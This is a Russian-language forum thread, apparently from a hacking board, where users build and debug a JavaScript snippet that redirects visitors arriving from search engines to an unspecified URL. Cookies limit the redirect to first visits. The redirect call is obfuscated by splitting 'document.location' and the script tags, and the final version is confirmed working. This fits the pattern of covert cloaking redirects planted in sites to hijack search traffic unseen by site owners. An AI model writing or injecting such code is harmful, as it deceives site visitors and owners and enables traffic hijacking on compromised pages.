Скрипт редерикта

Discussion in 'PHP' started by Bramin, 15 Jun 2012.

  1. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    Привет, друзья. Есть скрипт редерикта с поисковиков, помогите допилить, чтобы:
    на неуников редерикт не срабатывал. незнаю там фильтрация по айпи или еще что.
    Спасибо.

    Code:
    function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=  -1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>')}else{document.write('.')}}R();
     
    3 people like this.
  2. BondEros

    BondEros Member

    Joined:
    10 Jun 2009
    Messages:
    4
    Likes Received:
    7
    Reputations:
    0
    Куки - самый идеальный выход
     
  3. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Code:
    var cookie = {
        get: function (name) {
            var matches = document.cookie.match(/[\w-]+=.*?(?:$|;)/g),
                cookie = {};
            
            for (var i = 0; i < matches.length; i++) {
                var params = matches[i].split('=');
                cookie[params[0]] = params[1].substr(0, params[1].length-1);
            }
    
            if (name) {
                return cookie[name];
            }
    
            return cookie;
        },
        
        set: function (name, value, expires, path, domain, secure) {
            document.cookie = name + "=" + escape(value) +
                ((expires) ? "; expires=" + ( new Date(new Date().getTime() + expires*1000) ) : "") +
                ((path) ? "; path=" + path : "") +
                ((domain) ? "; domain=" + domain : "") +
                ((secure) ? "; secure" : "");
        }
    };
    function R() {
        var Ref = document.referrer;
        if (Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1||!cookie.get('visited')) {
            cookie.set('visited', 1, 86400); //86400 - время жизни куки в секундах, если надо на время сессии, то убрать вообще.
            document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>')
        } else {
            document.write('.')
        }
    }
    R();
    Собсна как выше посоветовали. Нужные комменты в коде.

    Зы. лень было писать сохранение кук, поэтому нагло стырено.
    Зыы. из-за размера скрипта - лучше его вынести в отдельный файл наверное.
     
  4. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    потестил твой скрипт на гугле, чего-то не работает. второй раз захожу все равно редерикт срабатывает. странно.
     
  5. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Попробовал данный скрипт,редиректит с поисковиков второй третий десятый также редиректит,даже при обычной вставке ссылки в браузер редиректит,у кого есть норм рабочий скрипт для редиректа с поисковиков чтоб редиректилось только один раз тоесть куки.Выложите пожалуйста.
     
  6. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Да, взял я чей-то ебанутокривой код работы с куками, допили. Должно работать именно для твоей ситуации. Если человек с поисковика, то идёт проверка посещал ли он сайт, если посещал, то не редиректим.
    Code:
    var cookie = {
        get: function (name) {
            var matches = document.cookie.match(/[\w-]+=.*?(?:$|;)/g),
                cookie = {};
            
    	if (!matches && name) {
    		return undefined;
    	}
    
    	var params;
            for (var i = 0; i < matches.length; i++) {
                params = matches[i].split('=');
                cookie[params[0]] = params[1].replace(/;$/);
            }
    
            if (name) {
                return cookie[name];
            }
    
            return cookie;
        },
        
        set: function (name, value, expires, path, domain, secure) {
            document.cookie = name + "=" + escape(value) +
                ((expires) ? "; expires=" + ( new Date(new Date().getTime() + expires*1000) ) : "") +
                ((path) ? "; path=" + path : "") +
                ((domain) ? "; domain=" + domain : "") +
                ((secure) ? "; secure" : "");
        }
    };
    function R() {
    	var refs = ['.google.', '.bing.', '.yahoo.', '.aol.', '.ask.', '.altavista.', '.yandex.'],
    		ref = document.referrer,
    		fromSearcher = false,
    		visited = cookie.get('visited');
    
    	for (var i = 0; i < refs.length; i++) {
    		if ( ref.indexOf(refs[i]) >= 0 ) {
    			fromSearcher = true;
    		}
    	}
    
    	if (fromSearcher) {
    		cookie.set('visited', 1, 86400); //86400 - время жизни куки в секундах, если надо на время сессии, то убрать вообще.
    		if (!visited) {
    			document.write('<script language="javascript">docu'+'ment.location=" урл куда отправляем "</s'+'cript>')
    		}
    	}
    }
    R();
     
  7. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Melfis Спасибо теперь всё норм.
     
    #7 Sat-hacker, 29 Apr 2013
    Last edited: 30 Apr 2013